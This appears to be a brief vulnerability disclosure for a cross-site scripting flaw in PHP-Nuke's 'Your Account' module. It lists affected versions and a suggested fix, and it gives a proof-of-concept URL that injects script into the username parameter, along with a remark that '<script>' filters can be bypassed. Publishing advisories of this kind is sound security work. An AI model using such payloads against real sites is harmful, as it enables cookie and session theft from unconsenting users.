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PHPNuke "Your Account" XSS Vulnerability
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Vulnerable;
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Francisco Burzi PHP-Nuke 6.5 Final Release

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Not tested but %90 vulnerable;
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Francisco Burzi PHP-Nuke 5.6
Francisco Burzi PHP-Nuke 6.0
Francisco Burzi PHP-Nuke 6.5 RC3
Francisco Burzi PHP-Nuke 6.5 RC2
Francisco Burzi PHP-Nuke 6.5 RC1
Francisco Burzi PHP-Nuke 6.5

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About PHPNuke;
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PHP Based Content Management System
http://www.phpnuke.org

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Solution;
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Simple string check or user check should be OK !

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Exploit;
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http://[victim]/modules.php?name=Your_Account&op=userinfo&username=bla<script>alert(document.cookie)</script>

*You may need to login first.
**Some of servers/PHP Nuke Systems has a security check for "<script>"
strings for Querystrings or POST variables (ie. www.phphnuke.org). But this
systems are still vulnerable. You can skip these controls with some JS
tricks.


Ferruh Mavituna
Freelance Developer & Designer
http://ferruh.mavituna.com
ferruh@mavituna.com